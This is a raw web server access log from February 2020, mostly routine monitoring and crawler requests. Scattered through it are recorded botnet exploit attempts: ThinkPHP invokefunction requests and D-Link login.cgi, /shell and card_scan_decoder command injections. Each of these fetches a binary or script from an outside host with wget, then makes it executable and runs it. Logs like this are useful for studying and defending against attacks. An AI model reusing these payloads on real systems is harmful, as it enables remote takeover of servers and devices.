212.91.246.72 - - [06/Feb/2020:21:37:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.32.242.203 - - [06/Feb/2020:21:37:32 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [06/Feb/2020:21:38:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:21:39:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:21:40:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:21:41:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.35.237.234 - - [06/Feb/2020:21:41:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:21:42:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.184.30.169 - - [06/Feb/2020:21:43:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:21:43:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:21:44:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.86.203.177 - - [06/Feb/2020:21:45:28 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 339 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
212.91.246.72 - - [06/Feb/2020:21:45:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:21:46:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.141.153.243 - - [06/Feb/2020:21:47:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.67.96.8 - - [06/Feb/2020:21:47:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [06/Feb/2020:21:47:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.61.188.89 - - [06/Feb/2020:21:47:31 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:21:48:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.191.145.11 - - [06/Feb/2020:21:49:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
73.32.140.239 - - [06/Feb/2020:21:49:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
95.163.255.9 - - [06/Feb/2020:21:49:29 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +http://go.mail.ru/help/robots)"
212.91.246.72 - - [06/Feb/2020:21:49:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.163.255.9 - - [06/Feb/2020:21:49:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +http://go.mail.ru/help/robots)"
34.92.78.125 - - [06/Feb/2020:21:50:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:21:50:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:21:51:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
120.29.140.126 - - [06/Feb/2020:21:52:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:21:52:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:21:53:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
168.232.14.74 - - [06/Feb/2020:21:53:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
125.59.47.44 - - [06/Feb/2020:21:54:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:21:54:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:21:55:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.90.216.156 - - [06/Feb/2020:21:55:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:21:56:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:21:57:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:21:58:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:21:59:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.137.217 - - [06/Feb/2020:22:00:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:22:00:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:01:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:02:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.88.93.191 - - [06/Feb/2020:22:02:52 +0100] "\x16\x03\x01\x01D\x01" 501 321 "-" "-"
184.72.165.26 - - [06/Feb/2020:22:03:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:22:03:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
174.81.167.164 - - [06/Feb/2020:22:03:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.56.122.222 - - [06/Feb/2020:22:03:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
47.254.151.40 - - [06/Feb/2020:22:04:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:22:04:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.48.235.1 - - [06/Feb/2020:22:04:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
103.242.13.100 - - [06/Feb/2020:22:04:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [06/Feb/2020:22:05:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:06:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:07:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:08:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:09:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:10:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:11:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.87.35.218 - - [06/Feb/2020:22:11:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
182.61.108.144 - - [06/Feb/2020:22:12:24 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
182.61.108.144 - - [06/Feb/2020:22:12:24 +0100] "POST /Admin51f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:22:12:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:13:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
52.116.94.41 - - [06/Feb/2020:22:13:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.57.35.227 - - [06/Feb/2020:22:14:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:22:14:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.153.208 - - [06/Feb/2020:22:15:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:22:15:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.102.125 - - [06/Feb/2020:22:16:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:22:16:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:17:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:18:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.136.215.81 - - [06/Feb/2020:22:19:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [06/Feb/2020:22:19:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.141.22.43 - - [06/Feb/2020:22:19:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
181.141.22.43 - - [06/Feb/2020:22:19:47 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.116.90.238 - - [06/Feb/2020:22:20:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:22:20:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:21:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:22:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:23:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:24:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:25:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.9.207.130 - - [06/Feb/2020:22:26:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [06/Feb/2020:22:26:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:27:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:28:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:29:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.97.206.71 - - [06/Feb/2020:22:29:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:22:30:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:31:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.242.75.100 - - [06/Feb/2020:22:31:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:22:32:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:33:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:34:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.209.102.59 - - [06/Feb/2020:22:35:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:22:35:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.38 - - [06/Feb/2020:22:36:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:22:36:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.149.160.10 - - [06/Feb/2020:22:36:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
42.119.59.101 - - [06/Feb/2020:22:37:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:22:37:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:38:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:39:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:40:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:41:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.132.161 - - [06/Feb/2020:22:42:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:22:42:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:43:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.72.95.49 - - [06/Feb/2020:22:43:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:22:44:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.168.15 - - [06/Feb/2020:22:44:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:22:45:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.238 - - [06/Feb/2020:22:45:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:22:46:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.242.196.173 - - [06/Feb/2020:22:46:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
73.5.248.186 - - [06/Feb/2020:22:47:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:22:47:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:48:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.56.57 - - [06/Feb/2020:22:48:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:22:49:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:50:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:51:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.35.173.108 - - [06/Feb/2020:22:52:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [06/Feb/2020:22:52:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:53:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
